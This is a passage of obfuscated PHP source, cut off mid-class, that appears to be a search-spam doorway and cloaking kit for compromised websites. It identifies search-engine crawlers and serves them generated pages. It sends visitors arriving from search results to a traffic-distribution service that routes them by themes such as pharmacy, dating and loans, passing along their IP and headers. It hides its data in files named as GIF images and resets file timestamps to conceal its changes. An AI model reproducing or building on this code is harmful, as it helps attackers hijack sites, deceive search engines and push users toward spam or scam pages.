___C_43{private$v224;private$v225;private$v226;private$v12;private$v227;const delim='$*$*';function __construct($v94,$v228=false){$this->v224=$v94;$this->v227=$v228;$this->v12=___C_6::t3('file');}function t127(){$v229=file_exists($this->v224);if(!$v229)$this->v12->t119("file '{0}' not exist",$this->v224);return$v229;}function t153(){clearstatcache();return @filesize($this->v224);}function t154($v230,$v231=false){$this->v225=$v230;clearstatcache();$v56=dirname($this->v224);if(!is_dir($v56))@mkdir($v56,0777,true);if(!is_writable($v56))throw new ___C_1("data dir is not writeable '{0}'",$v56);$this->v226=@fopen($this->v224,$v230);if(!$this->v226)throw new ___C_1("cannot open file '{0}'",$this->v224);if($v230=='r')$v232=@flock($this->v226,01);if($v230[00]=='w'||$v230[00]=='a')$v232=@flock($this->v226,02);if(!$v232)throw new ___C_1("cannot lock file '{0}'",$this->v224);}function t155($v233=false,$v234=false){if(!$this->v226)throw new ___C_1("file '{0}' is not open",$this->v224);if($this->v227&&!$v234){fseek($this->v226,___CRC_LENGTH___,00);}else{$this->t156();}$this->v12->t119("load file '{0}'",$this->v224);$v105=@fread($this->v226,filesize($this->v224));if($v233){if($v234&&empty($v105))return array();if(strlen($v105)==00)return'';}if($v234){$v235=explode(self::delim,$v105);if(count($v235)==00)return array();array_pop($v235);$v54=array();foreach($v235 as$v236){$v116=@unserialize(gzinflate($v236));if($v116===false)throw new ___C_2('Failed decode error item');$v54[]=$v116;}}else $v54=$this->t77($v105);if($v54===false)throw new ___C_2("invalid data in file '{0}'",$this->v224);return$v54;}function t122($v233=false,$v234=false){try{$this->t154('r');$v54=$this->t155($v233,$v234);$this->t157();return$v54;}catch(Exception$v23){$this->t157();throw $v23;}}function t116($v54){if(!$this->v226)throw new ___C_1("file '{0}' is not open",$this->v224);if(!$this->t158()&&!@ftruncate($this->v226,00))throw new ___C_1("file '{0}' not truncated",$this->v224);$v237=$this->t159($v54);if($this->t158())$v237.=self::delim;$this->t156();if(!$this->t158()&&$this->v227){$v76=___C_41::t74($v237);$v237=$v76.$v237;}if(!fwrite($this->v226,$v237))throw new ___C_1("file '{0}' write failed",$this->v224);$this->v12->t4(" save file '{0}'",$this->v224);___C_5::t1();}function t128($v54,$v55=null,$v238=false){try{if($v55==null)$v55=time();$this->t154($v238?'ab':'wb');$this->t116($v54);$this->t157();}catch(Exception$v23){$this->t157();$this->v12->t119("file error '{0}' by path '{1}'",$v23->getMessage(),$this->v224);throw $v23;}}function t113(){$this->t157();if($this->t127()&&!@unlink($this->v224))throw new ___C_1("file '{0}' delete failed",$this->v224);}function t157(){if($this->v226){@flock($this->v226,03);@fclose($this->v226);$this->v226=false;}}function t158(){return$this->v225[00]=='a';}function t156(){if(!$this->t158()){fseek($this->v226,00,00);}}function t159($v54){return$v54;}function t77($v54){return$v54;}}class ___C_13 extends ___C_43{function __construct($v94){parent::__construct($v94,true);}function t159($v54){$v142=serialize($v54);$v239=gzdeflate($v142,03);return$v239;}function t77($v105){$v240=@gzinflate($v105);$v54=@unserialize($v240);return(empty($v54))?false:$v54;}}class ___C_32{private$v146;function __construct($v241){$this->v146=$v241;}function t114(){if(!$this->v146->t127())return array();$v54=$this->v146->t122(true,false);return$v54;}function t24($v23){$v54=array('message'=>$v23->getMessage(),'path'=>$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(!empty($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:''),'ua'=>$_SERVER['HTTP_USER_AGENT'],'ref'=>@$_SERVER['HTTP_REFERER'],'time'=>time(),'trace'=>$v23->getTrace());$v242=___C_6::t50();$v54['context']=$v242['env'];$v54['log']=$v242['log'];;$this->v146->t128($v54);}function t113(){$this->v146->t113();}}class ___C_44{protected$v243=array('timeout'=>012);protected$v244;protected$v12;function __construct($v65=array()){$this->v243=array_merge($this->v243,$v65['options']);$this->v12=___C_6::t3('webclient');$this->v244=$v65['headers'];}function t160($v245){$this->v244=array_merge($this->v244,$v245);}function t161($v246){$v246=str_replace("
","
",$v246);$v247=explode("
",$v246);$v245=array();foreach($v247 as$v248){$v248=trim($v248);if(empty($v248))continue;if(strpos($v248,':')===false)continue;@list($v80,$v6)=explode(':',$v248,02);if(isset($v245[$v80])){if(!is_array($v245[$v80]))$v245[$v80]=array($v245[$v80]);$v245[$v80][]=$v6;}else $v245[$v80]=(!empty($v6))?$v6:'';}$this->v12->t119("received headers: 
 {0}",trim($v246));return$v245;}function t162(){$v219=array();foreach($this->v244 as$v80=>$v6)$v219[]=$v80.": ".$v6;return$v219;}}class ___C_27 extends ___C_44{function t120($v93,$v249=true){$this->v12->t4("load content from url: '{0}'",$v93);$v250=$this->t163($v93);curl_setopt($v250,052,00);@curl_setopt($v250,064,$v249);$v33=@curl_exec($v250);$this->v12->t119('redirect count: {0}',curl_getinfo($v250,010000024));$this->v12->t119('last effective url: {0}',curl_getinfo($v250,04000001));if($v33===false){$v51=@curl_error($v250);$this->v12->t9("Failed load url '{0}' with error: '{1}'",$v93,$v51);throw new ___C_3("Failed load url '{0}' with error: '{1}'",$v93,$v51);}else{$v251=curl_getinfo($v250,010000002);if($v251!=0310)throw new ___C_3("Failed load url '{0}'. invalid response code '{1}' with last url: {2}",$v93,$v251,curl_getinfo($v250,04000001));}curl_close($v250);return$v33;}function t164($v93){$this->v12->t4("load headers from url: '{0}'",$v93);$v250=$this->t163($v93);curl_setopt($v250,052,01);curl_setopt($v250,054,01);$v33=@curl_exec($v250);if($v33===false){$v51=curl_error($v250);$this->v12->t9("Failed load headers for url '{0}' with error: '{1}'",$v93,$v51);throw new ___C_3("Failed load  headers for url '{0}' with error: '{1}'",$v93,$v51);}curl_close($v250);return$this->t161($v33);}function t163($v93){$v250=curl_init();curl_setopt($v250,023422,$v93);curl_setopt($v250,015,$this->v243['timeout']);curl_setopt($v250,046711,true);curl_setopt($v250,023447,$this->t162());@curl_setopt($v250,0121,00);@curl_setopt($v250,0100,00);return$v250;}}class ___C_28{private$v252=array();private$v253=false;private$v12;private$v254;private$v255;private$v256=array();private$v257;function __construct($v258,$v259,$v260,$v261){foreach($v258 as$v215=>&$v262){$v262['name']=$v215;unset($v262);}$this->v252=$v258;$this->v254=$v259;$this->v255=$v260;$this->v12=___C_6::t3('router');$this->t165($v261);}function t165($v261){$this->v253=$this->v255->t145($v261);}function t166(){return !($this->v253==false);}function t167($v200,$v148){$v148['key']=$this->v253['root'];$v263=$this->t168();$v148['routekey']=$v263;$v262=$this->t169($v263);if(!$v262){$this->v12->t4("route not found");return false;}$this->v12->t4("selected route: '{0}'",$v262['name']);$v148['exitroute']=$v262['name'];return$this->t170($v262,$v148);}function t169($v264){if(isset($this->v252[$v264])){return$this->v252[$v264];}if(isset($this->v252['default'])){return$this->v252['default'];}return false;}function t168(){if(isset($this->v253['routekey'])){$this->v12->t4("page has routekey: '{0}'",$this->v253['routekey']);return$this->v253['routekey'];}$v265=array('essay','pharm','dating','loan','media','download');if(isset($this->v253['theme'])){$this->v12->t4("page theme: '{0}'",$this->v253['theme']);$v266=strtolower($this->v253['theme']);foreach($v265 as$v80){if(strpos($v266,$v80)!==false)return$v80;}}else{$this->v12->t4("page has NO theme. old dor");}return'default';}function t170($v267,$v148){$v268=$this->v254->t147($v267['exit']['url'],$this->v253,$v148);return array('name'=>$v267['name'],'exit'=>$v267['exit']['type'],'url'=>$v268[00],'extparams'=>$v268[01]);}}class ___C_10{private$v269;private$v194;private$v12;private$v270;private$v271;function __construct($v128,$v21,$v272,$v273){$this->v194=$v21;$v274=$this->t171();$v128->t160($v274);$this->v269=$v128;$this->v270=$v272;$this->v271=$v273;$this->v12=___C_6::t3('router-urlresolver');}function t147($v7,$v203,$v148){$v148=array_merge($this->v271,$v148);$v148['ip']=$this->v194->t17();$v148['referer']=$this->v194->t48();$v93=$this->v194->t15()->t16();$v148['url']=$this->t172($v93);$v148['host']=$this->v194->t60();$v148['se']=$this->v270->t143($v148['referer']);$this->t173($v148,$v203,'theme');$this->t173($v148,$v203,'label');$this->t173($v148,$v203,'tdsgroup');$this->t173($v148,$v203,'project');if(isset($v203['gentime']))$v148['gentime']=gmdate("Y.m.d",$v203['gentime']);foreach($v148 as$v80=>$v6)$v7=str_replace("{".$v80."}",rawurlencode($v6),$v7);$v7=preg_replace('/\{[^}]+\}/si','',$v7);return$this->t174($v7);}function t173(&$v148,&$v203,$v275){if(isset($v203[$v275]))$v148[$v275]=$v203[$v275];}function t172($v93){return str_replace('/www.','/',$v93);}function t174($v7){try{$v245=$this->v269->t164($v7);if(!isset($v245['Location']))throw new ___C_4('cannot extract location from tds response',$v7);$v276=trim($v245['Location']);$this->v12->t4("receive location: ".$v276);$v277=explode('#',$v276,02);$v278=$v277[00];$v148=array();if(isset($v277[01])){$v148=$this->t175($v277[01]);}return array($v278,$v148);}catch(___C_3$v51){throw new ___C_4('error resolve exit',$v7,$v51);}}function t171(){$v245=array('User-Agent'=>$_SERVER['HTTP_USER_AGENT'],'X-Sutra-Ip'=>$this->v194->t17());$v274=array('HTTP_REFERER'=>'Referer','HTTP_X_FORWARDED_FOR'=>'X-Forwarded-For','HTTP_VIA'=>'Via','HTTP_CLIENT_IP'=>'Client-IP','HTTP_ACCEPT_LANGUAGE'=>'Accept-Language');foreach($v274 as$v279=>$v280){if(isset($_SERVER[$v279]))$v245[$v280]=$_SERVER[$v279];}return$v245;}function t175($v281){$v281=trim($v281);if(empty($v281))return array();$v17=array();$v277=explode('|',$v281);foreach($v277 as$v282){list($v80,$v6)=explode('=',$v282,02);$this->v12->t4("receive ext param: '".$v80."=".$v6."'");$v17[$v80]=$v6;}return$v17;}}class ___C_16{private$v283=array();private$v284;private$v12;function __construct($v184,$v285){$this->v284=$v184;$this->v283=$v285;$this->v12=___C_6::t3('bot.detector');}function t45($v175,$v286){try{$v43=false;if($this->v283){$this->v12->t4("check ua");$v43=$this->v284->t176($v286);}if(!$v43){$this->v12->t4("check ip");$v43=$this->v284->t177($v175);}$this->v284->t157();}catch(Exception$v23){$this->v284->t157();throw $v23;}return$v43;}}class ___C_18{private$v224;private$v226=false;private$v12;private$v287;private$v92;function __construct($v94,$v88){$this->v92=$v88;$this->v224=$v94;$this->v12=___C_6::t3('botdb');$this->v287=036+01;}function t139(){$this->t178();$v77=fread($this->v226,036);$v288=array();list($v119,$v55)=explode('|',trim($v77));return array('version'=>$v119,'time'=>$v55);}function t127(){return file_exists($this->v224);}function t177($v175){if(strpos($v175,':')!==false){$this->v12->t152("ip is v6. cannot process");return false;}$this->t178();$v289=explode('.',$v175);$v290=$this->t179($v289[00]);if($v290!==false){$v291=$this->t180($v289[00],$v290,$v175);list($v292,$v54)=$v291;$v293=$this->t181($v289,$v292,$v54);return$v293;}else $this->v12->t119("main net {0} not found",$v289[00]);return false;}function t176($v286){$this->t178();@fseek($this->v226,0376*03+01+$this->v287);$v294=fread($this->v226,02);$v295=$this->t182($v294);$v296=fread($this->v226,$v295);$v297=@gzuncompress($v296);$v39=@unserialize($v297);if($v39===false)throw new ___C_2("invalid ua list");foreach($v39 as$v298){if(stristr($v286,$v298))return true;}return false;}function t118($v119,$v54){$this->t157();$v109=str_pad($v119.'|'.time(),$this->v287,' ');$v109.=$v54;$v126=file_put_contents($this->v224,$v109,02);___C_5::t1();}function t157(){if($this->v226!==false){flock($this->v226,03);fclose($this->v226);$this->v226=false;}}private function t178(){if($this->v226===false){$this->v226=@fopen($this->v224,'rb');if($this->v226===false)throw new ___C_1("Error open {0}",$this->v224);if(!@flock($this->v226,01))throw new ___C_1("Error lock {0}",$this->v224);}if(!@rewind($this->v226))throw new ___C_1("Error rewind {0}",$this->v224);}private function t181($v289,&$v292,&$v54){$v299=00;for($v5=00;$v5<count($v292);$v5++){$v300=($v292[$v5]=='1');$v290=($v300)?06:03;$v301=substr($v54,$v299,$v290);$v293=true;$v302=array();$v303=array();$v304=array();if($v300){for($v305=00;$v305<03;$v305++){$v306=$v289[$v305+01];$v307=$this->t182($v301[$v305]);$v308=$this->t182($v301[$v305+03]);$v303[]=$v307;$v304[]=$v308;if($v306<$v307||$v306>$v308){$v293=false;break;}}$v309=$v289[00].'.'.join('.',$v303).'-'.$v289[00].'.'.join('.',$v304);}else{for($v305=00;$v305<03;$v305++){$v306=$v289[$v305+01];$v310=$this->t182($v301[$v305]);$v302[]=''.$v310;if($v310!=$v306){$v293=false;break;}}$v309=$v289[00].'.'.join('.',$v302);}if($v293){$this->v12->t4("found by {0}",$v309);return true;}$v299+=$v290;}return false;}private function t179($v311){$v312=($v311-01)*03+$this->v287;fseek($this->v226,$v312,00);$v313=fread($this->v226,03);$v314=unpack('H*',$v313);$v315=hexdec($v314[01]);if($v315==00)return false;return$v315;}private function t180($v311,$v290,$v175){fseek($this->v226,0376*03+$v290+$this->v287,00);$v288=fread($this->v226,06);$v310=$this->t182($v288[00]);if($v311!=$v310)throw new ___C_2("Expect {0} octect but {1} found. ip {2}",$v311,$v310,$v175);$v136=$this->t182($v288[01].$v288[02].$v288[03]);$v316=$this->t182($v288[04].$v288[05]);$v236=fread($this->v226,$v136);$v292=$this->t183($v236,$v316);$v54=substr($v236,$v316,strlen($v236)-$v316);return array($v292,$v54);}private function t183(&$v236,$v316){$v317=substr($v236,00,$v316);$v318=gzuncompress($v317);$v319=array();for($v5=00;$v5<strlen($v318);$v5++)$v319[]=$v318[$v5];return$v319;}private function t182($v294){$v320=unpack('H*',$v294);$v6=hexdec($v320[01]);return$v6;}}class ___C_17{private$v321;private$v12;private$v270;function __construct($v201,$v272){$this->v321=$v201;$this->v270=$v272;$this->v12=___C_6::t3('bot.detector.hidden');}function t45($v322,$v70){$v203=$this->v321->t145($v322);if($v203==false){$this->v12->t4("page not exists");return false;}if($v203['isgen']!=01){$this->v12->t4("page not phantom");return false;}$v70=trim($v70);if(empty($v70)){$this->v12->t4("ref is empty");return false;}if($this->v270->t142($v70)){$this->v12->t4("serp ref. detect as NOT bot");return false;}return true;}}class ___C_35{private$v224;private$v12;function __construct($v94){$this->v224=$v94;$this->v12=___C_6::t3('b_request_log');}function t107(){return$this->v224;}function t184($v21){$this->v12->t4('register to serp request log');$v323=dirname($this->v224);$v324=filemtime($v323);$v325=@filemtime($this->v224);if(!$v325)$v325=time()-(07020*030*036*03);$v326=fopen($this->v224,'ab');if($v326){if(@flock($v326,02)){$v54=$this->t185($v21);if(!fwrite($v326,$v54))$this->v12->t9('cannot write file: {0}',$this->v224);}else{$this->v12->t9('cannot lock file: {0}',$this->v224);}@flock($v326,03);@fclose($v326);}else{$this->v12->t9('cannot open file: {0}',$this->v224);}@touch($this->v224,$v325,$v325);@touch($v323,$v324,$v324);}function t110(){if(file_exists($this->v224)){$v323=dirname($this->v224);$v324=filemtime($v323);if(!@unlink($this->v224))throw new ___C_0("cannot delete serp request log file: ".$this->v224);@touch($v323,$v324,$v324);}}private function t185($v21){$v322=$v21->t15();$v93=$v322->t16();$v175=$v21->t17();$v70=$v21->t48();$v286=$v21->t46();$v54=array(time(),$v93,$v175,$v70,$v286);$v53=json_encode($v54);$v317=gzdeflate($v53,011);$v327=___C_41::t80(strlen($v317),02);$v328='!!!'.$v327.$v317;return$v328;}}class ___C_34{private$v329;private$v270;private$v321;private$v12;function __construct($v112,$v201,$v272){$this->v329=$v112;$this->v321=$v201;$this->v270=$v272;$this->v12=___C_6::t3("serp-request-reg");}function t40($v21){if($this->t186($v21)){$this->v12->t4('register request');$this->v329->t184($v21);}else{$this->v12->t4('serp request not detected');}}function t186($v21){$v322=$v21->t15();$v70=$v21->t48();$v203=$this->v321->t145($v322);if($v203!==false){if($v203['isgen']==01){$this->v12->t152("page is phantom");if(empty($v70)){$this->v12->t4("ref is empty");return false;}$v73=@parse_url($v70);if(!___C_41::t72($v73)){$this->v12->t4("ref is not url");return false;}$v330=str_replace('www.','',strtolower($v73['host']));$v331=$v322->t60();if($v331==$v330){$this->v12->t4("ref is from origin site. detect as bot");return true;}return false;}}else{$this->v12->t152('page not registered in page db');}return false;}}class ___C_22{private$v11;private$v194;function __construct($v21,$v110,$v63){$this->v194=$v21;$this->v11=$v110;@ini_set('zlib.output_compression',00);@ini_set('implicit_flush',01);if($v63){while(ob_get_level()>00)@ob_end_clean();@ob_implicit_flush();}}function t187($v332){$v54=array('fullkey'=>$v332['query'],'query'=>$v332['query']);$v54['referer']=$this->v194->t48();$v201=$this->v11->t59();$v203=$v201->t145($this->v194->t15());$v54['keyroot']=$v203['root'];$v272=new ___C_11();$v196=$v272->t143($this->v194->t48());$v54['se']=$v196;$v142=serialize($v54);$v87=base64_encode(gzdeflate($v142,011));@setcookie('___c_c_tr_data',$v87,(time()+074*074*030),'/');}function t188($v333,$v334){@header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');if(isset($v333['type'])&&$v333['type']!='html'){$v335='application/'.$v333['type'];@header('Content-Type: '.$v335);___C_5::t25();$v336=$v333['tpl'];}else{$v336=$v333['tpl'];if(!stristr($v336,'</body>')){$v336.="</body>
</html>";}$v337=$this->t189();$v336=preg_replace('/<\/body>/si',"<br data-sign='".$v337."'/>
</body>",$v336);___C_5::t25();if($v334)$v336=$this->t190($v336);}print($v336);}function t191($v336,$v334){if($v334)$v336=$this->t190($v336);@header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');print($v336);}function t33($v93){header("Location: ".$v93,true,0463);}function t148($v93){if(!headers_sent()){header("Location: ".$v93,true,0463);}else{$v3="<html><head><meta http-equiv='refresh' content='0; url=".$v93."'></head><body></body></html>";$v3.="<script>location.replace('".$v93."');</script>";print($v3);@flush();@ob_flush();}}function t190(&$v336){$v336='<begin>'.$v336.'<end>';return$v336;}function t189(){$v175=$this->v194->t17();$v286=$this->v194->t46();$v338=$this->v194->t48();$v337=$v175."|".$v286."|".$v338."|".time();$v339=base64_encode(gzcompress($v337,011));$v339=str_rot13($v339);$v339=strrev($v339);$v339=base64_encode(gzcompress($v339,011));$v339=str_rot13($v339);return$v339;}}class ___C_19{private$v11;private$v12;private$v340=array();private$v341;function __construct($v110){$this->v11=$v110;$this->v12=___C_6::t3('proccessor-bot');}function t37($v322,$v342){$this->v341=$v342;$this->v12->t4("bot detected. proccess bot");$v260=$this->v11->t59();$v343=$v260->t192($v322);if($v343!==false){$this->v12->t4("door page rendered");if(!$v342){$v129=$this->v11->t61();$v344=$this->v11->t5()->t7();$v129->t188($v343,$v344);}return true;}else{$this->v12->t4("door page not exists for url");$this->t193();}return false;}function t193(){$v37=$this->v11->t30();if($v37->t31('bot.page_links.enabled')){$this->v12->t4("render page linking");$v345=$this->v11->t62();list($v346,$v347)=$v37->t31('bot.page_links.count_per_page');$v348=$v345->t194($v346,$v347);$v349=array();foreach($v348 as$v350){$v349[]=array('url'=>$v350[01],'text'=>$v350[00]);}$this->v340=$v349;if(!$this->v341){___C_5::t25();ob_start(array($this,'_onExit'));}}else{$this->v12->t4("page linking disabled");}}function _onExit(){$v33=ob_get_contents();$v351=$this->v11->t71();$v37=$this->v11->t30();$v31=$v37->t43('bot.page_links.strategy','BeforeEndBody');$v352=explode('->',$v31);$v353=array();foreach($v352 as$v354){if(preg_match('/(\w+)\(([^)]+)\)/si',$v354,$v192)){$v79=$v192[01];$v353[]=array('cmd'=>$v192[01],'param'=>$v192[02]);}else{$v353[]=array('cmd'=>$v354);}}foreach($v353 as$v355){$v111=strtolower($v355['cmd']);$v336=$v33;switch($v111){case 'afterbody':$v336=$v351->t195($v336,$this->v340);break;case 'beforeendbody':$v336=$v351->t196($v336,$this->v340);break;case 'replacefirstlinks':$v336=$v351->t197($v336,$this->v340,$v355['param']);break;case 'replacelastlinks':$v336=$v351->t198($v336,$this->v340);break;case 'insertinparend':$v336=$v351->t199($v336,$this->v340,$v355['param']);break;case 'appendtoend':$v336=$v351->t200($v336,$this->v340);break;}if($v336!=false)break;}return$v336;}}class ___C_20{private$v11;private$v12;private$v356;function __construct($v110,$v357){$this->v11=$v110;$this->v356=$v357;$this->v12=___C_6::t3('proccessor-user');}function t37($v322,$v342){$this->v12->t4("bot not detected. proccess user");if($this->v356->t131()){return false;}$v358=$this->v11->t66();if(!$v358->t166()){$this->v12->t4("page is not routable");$this->v356->t132();return false;}$v359=$this->v11->t63();$v332=$v359->t201($v322);if($v332!==false){$this->v12->t4("user is from serp. query: '{0}'",$v332['query']);$v37=$this->v11->t30();$v360=$v37->t31('dor2.enabled',false);if($v360){$v361=$v37->t31('dor2.force_show_dor',false);if($v361){$this->v12->t4("force show dorpage (config)");return$this->t202($v322,$v342,$v332);}}try{$v262=$v358->t167($v332['query'],array('fullkey'=>$v332['query'],'query'=>$v332['query']));if($v360){if(isset($v262['extparams']['dor2'])){$this->v12->t4("force show dorpage (tds)");return$this->t202($v322,$v342,$v332);}}}catch(___C_4$v362){$this->v12->t4("exit resolve error. redirect to: '{0}'",$v362->v7);$this->v356->t132();if(!$v342){___C_5::t25();$this->v11->t61()->t148($v362->v7);}return true;}if(!$v262){$this->v12->t4("query is not routable");$this->v356->t132();return false;}$this->t203($v262,$v332,$v342);return true;}else $this->v12->t4("user is not from serp");$this->v356->t132();return false;}private function t202($v322,$v342,$v332=false){$this->v341=$v342;$v260=$this->v11->t59();$v343=$v260->t204($v322,$v332);if($v343!==false){$this->v12->t4("door page rendered");if(!$v342){$v129=$this->v11->t61();$v344=$this->v11->t5()->t7();if($v332){$v129->t187($v332);}$v129->t188($v343,$v344);}return true;}return false;}private function t203($v262,$v332,$v342){$v129=$this->v11->t61();$v37=$this->v11->t30();$v32=$v262['url'];$v363=true;$v148=$v262['extparams'];if(isset($v148['shop.nocache'])){$this->v12->t4("no cache strategy");$v363=false;}$v364=$this->v11->t68();$v365=$v364->t141($v32);if($v262['exit']=='shop'){try{$this->v12->t4("get out page: '{0}'",$v32);$v366=$this->v11->t67();$v343=$v366->t205($v32,$v363,$v262['extparams']);$this->v12->t4('page is loaded');if(!$v342){___C_5::t25();$v344=$this->v11->t5()->t7();$v129->t191($v343,$v344);}}catch(___C_0$v23){$this->v12->t9('error {0}. redirect to exit: {1}',$v23->getMessage(),$v365);if(!$v342){___C_5::t25();$v129->t148($v365);}}}else{$this->v12->t4('exit type: direct. redirect to exit {0}',$v365);if(!$v342){___C_5::t25();$v129->t148($v365);}}}}class ___C_24{private$v59;private$v367;private$v368=-01;private$v369;private$v370;private$v12;function __construct($v60,$v371){$this->v59=rtrim($v60,"\/").DIRECTORY_SEPARATOR;$this->v369=$v371;$this->v12=___C_6::t3('cpage-provider');}function t145($v322){if($this->v368==-01){$this->v12->t119('load page meta');$this->t206($v322);if($this->v367==false){$this->v12->t119('db reader not init');return false;}$this->v368=$this->v367->t145($v322);}return$this->v368;}function t207($v322){$this->v12->t119('load page');$this->t206($v322);if($this->v367==false)return false;$v333=$this->v367->t207();if($v333==false)return false;if(isset($v333['bin'])&&$v333['bin']=='1'){return$v333;}$v333['tpl']=$this->v369->t208($this->v370,$v333);return$v333;}function t192($v322){$v343=$this->t207($v322);if($v343==false)return false;$v343['tpl']=preg_replace('%<!--\s*for_user\s*-->.+?<!--\s*/for_user\s*-->%si','',$v343['tpl']);$v343['tpl']=preg_replace('%<!--\s*/?for_(user|bot)\s*-->%si','',$v343['tpl']);$v343['tpl']=$this->t209($v322,$v343['tpl']);return$v343;}function t204($v322){$v343=$this->t207($v322);if($v343==false)return false;$v343['tpl']=preg_replace('%<!--\s*for_bot\s*-->.+?<!--\s*/for_bot\s*-->%si','',$v343['tpl']);$v343['tpl']=preg_replace('%<!--\s*/?for_(user|bot)\s*-->%si','',$v343['tpl']);$v343['tpl']=$this->t209($v322,$v343['tpl']);return$v343;}function t209($v322,$v343){$v164=___C_41::t81();$v372='auth_token_id='.$v164;$v373=$v322->t16();$v73=parse_url($v322->t16());$v32=$v73['scheme'].'://'.$v73['host'].$v73['path'];if(isset($v73['query'])){$v32.='?'.$v73['query'].'&'.$v372;}else{$v32.='?'.$v372;}$v343=str_replace('{exit_url}',$v32,$v343);return$v343;}function t206($v322){if($this->v367==null){$this->v370=$v322->t82();$v57=$this->v59.$this->t210($this->v370);$this->v12->t119("db file selected '{0}', hash '{1}'",$v57,$this->v370);$this->v367=new ___C_45($v57,$this->v370);}}function t210($v101){$v113=$v101[00];$v374=$v101[01];if(preg_match('/^[01234567]$/',$v374)){$v375='1';}else{$v375='2';}$v113.=$v375;$v57='animation_'.$v113.'.gif';return$v57;}}class ___C_45{private$v224;private$v376;private$v377;private$v12;private$v226=false;private$v90;function __construct($v94,$v101){$this->v12=___C_6::t3('cpage-db');$this->v224=$v94;$this->v90='_'.$v101;}function t145($v322){try{if(!$this->t178())return false;$v288=$this->t180(00);if($v288==false)return false;if(array_key_exists('utf8',$v288)){$v288['key']=base64_decode($v288['key']);$v288['root']=base64_decode($v288['root']);}return$v288;}catch(Exception$v23){throw $v23;}return$v288;}function t207(){try{if(!$this->t178())return false;$v333=$this->t180(01);if($v333==false)return false;if(array_key_exists('utf8',$v333)){$v333['tpl']=base64_decode($v333['tpl']);foreach($v333['future'] as$v80=>&$v6){for($v5=00;$v5<count($v6);$v5++){$v6[$v5]=base64_decode($v6[$v5]);}unset($v6);}}return$v333;}catch(Exception$v23){throw $v23;}}private function t178(){if($this->v226!==false)return true;$this->v12->t119("open file {0}",$this->v224);if(!file_exists($this->v224)){$this->v12->t119("file not exists: {0}",$this->v224);return false;}$this->v226=@fopen($this->v224,'rb');if(!$this->v226)throw new ___C_1("Failed open page file {0}",$this->v224);fseek($this->v226,___CRC_LENGTH___,00);$v313=fread($this->v226,03);$v378=ord($v313[00])*pow(0400,02)+ord($v313[01])*0400+ord($v313[02]);$v379=@fread($this->v226,$v378);$this->v377=@unserialize(gzinflate($v379));$this->v376=@ftell($this->v226);if($this->v377===false)throw new ___C_1("Failed read meta {0}",$this->v224);return true;}function t180($v380){$v80=$this->v90;if(!isset($this->v377[$v80])){$this->v12->t119('data not exists for this page');return false;}$v288=$this->v377[$v80];if(@fseek($this->v226,$this->v376+$v288[$v380][00],00)==-01)throw new ___C_1("Cannot seek file");$v381=@fread($this->v226,$v288[$v380][01]);$v54=@unserialize(gzinflate($v381));if($v54===false)throw new ___C_2("Cannot read data block {0}",$v380);return$v54;}function __destruct(){$this->t157();}function t157(){if($this->v226){@fclose($this->v226);$this->v226=false;}}}class ___C_25{private$v382;private$v383;private$v384;private$v12;function __construct($v385){$this->v384=02*030*07020;$this->v382=$v385;$this->v12=___C_6::t3('cpage-builder');}function t208($v386,$v333){try{if($this->v382->t127()){$v54=$this->v382->t122(true);}else{$this->v12->t119("accounting file not exists. init new");$v54=array();}$v387=false;$v388=time();$v389=00;if(isset($v54[$v386])){$v390=$v54[$v386];$v391=$v390[00];if(count($v390)>03){$v389=$v390[03];}else{$v389=$v388;}if(($v388-$v391)>$this->v384){$this->v12->t4("fblock count expired. show new fblock");$v392=$v390[01]+01;$v387=true;}else{$this->v12->t4("fblock count up to date");$v392=$v390[01];}$v393=$v390[02];}else{$this->v12->t119("first bot. no future blocks shown");$v392=00;$v387=true;$v393=array();$v389=$v388;}$v394=$this->t211($v333['future']);$this->v12->t4("build page with {0} fblocks",($v392>$v394)?$v394:$v392);$v168=$this->t212($v333,$v392,$v393);if($v387){if($v392<=$v394){$this->v12->t119("save fblock state");$v54[$v386]=array($v388,$v392,$v393,$v389);$this->v382->t128($v54);}else{$this->v12->t119("all block are visible. no need save state");}}$v168=$this->t213($v168,$v386);if($v389==00){$v395=00;}else{$v395=$v388-$v389;}$v168=$this->t214($v168,$v395);return$v168;$this->v382->t157();}catch(Exception$v23){$this->v382->t157();throw $v23;}}function t214(&$v168,$v396){$v397=array();preg_match_all('/\[INUMBER=(\d+)\|(\d+)\|(\d+)\]/',$v168,$v397,02);for($v305=00;$v305<count($v397);$v305++){$v199=$v397[$v305];$v398=$v199[01];$v399=$v199[02];$v400=$v199[03];$v401=floor($v396/($v400*07020));$v6=$v398+$v401*$v399;$v168=preg_replace('/\[INUMBER=[^\]]+\]/si',$v6,$v168,01);}return$v168;}function t213(&$v168,$v386){$v397=array();preg_match_all('/\[RNUMBER=([\d,\.]+)\|([\d,\.]+)\|([\d,\.]+)\|([\d,\.]+)\]/',$v168,$v397,02);for($v305=00;$v305<count($v397);$v305++){$v199=$v397[$v305];$v402=___C_41::t79($v199[01]);$v403=___C_41::t79($v199[02]);$v399=___C_41::t79($v199[03]);$v400=$v199[04];$v388=time();$v401=ceil($v388/($v400*07020));$v404=intval(preg_replace('/[^\d]/','',$v386))+$v401;$v404+=($v401*$v400);$v83=$v404<<03;srand($v83);$v405=floor(($v403-$v402)/$v399);$v406=rand(00,$v405);$v407=$v402+($v406*$v399);$v168=preg_replace('/\[RNUMBER=[^\]]+\]/si',$v407,$v168,01);}___C_41::t78();return$v168;}function t211($v235){$v403=00;foreach($v235 as$v80=>$v219){if(count($v219)>$v403)$v403=count($v219);}return$v403;}function t212(&$v333,$v408,&$v393){$v168=$v333['tpl'];$v409=-01;foreach($v333['future'] as$v410=>$v411){$v5=01;$v409++;if(!isset($v393[$v409]))$v393[$v409]=array();$v412=-01;foreach($v411 as$v236){$v412++;if($v5<=$v408){preg_match_all('/\[DATE\(([^)]+)\)\]/si',$v236,$v397,02);for($v305=00;$v305<count($v397);$v305++){$v413=$v397[$v305][01];if(isset($v393[$v412][$v305])){$v414=$v393[$v412][$v305];}else{$v388=time();$v414=mt_rand($v388-$this->v384,$v388-05);$v393[$v412][$v305]=$v414;}$v415=gmdate($v413,$v414);$v236=preg_replace('/\[DATE[^\]]+\]/si',$v415,$v236,01);}$v416="<!-- group ".$v410." ".$v5." -->".$v236."<!-- /group ".$v410." ".$v5." -->";}else $v416='';$v168=str_replace("[FUTURE-".$v410."-".$v5."]",$v416,$v168);$v5++;}}return$v168;}}class 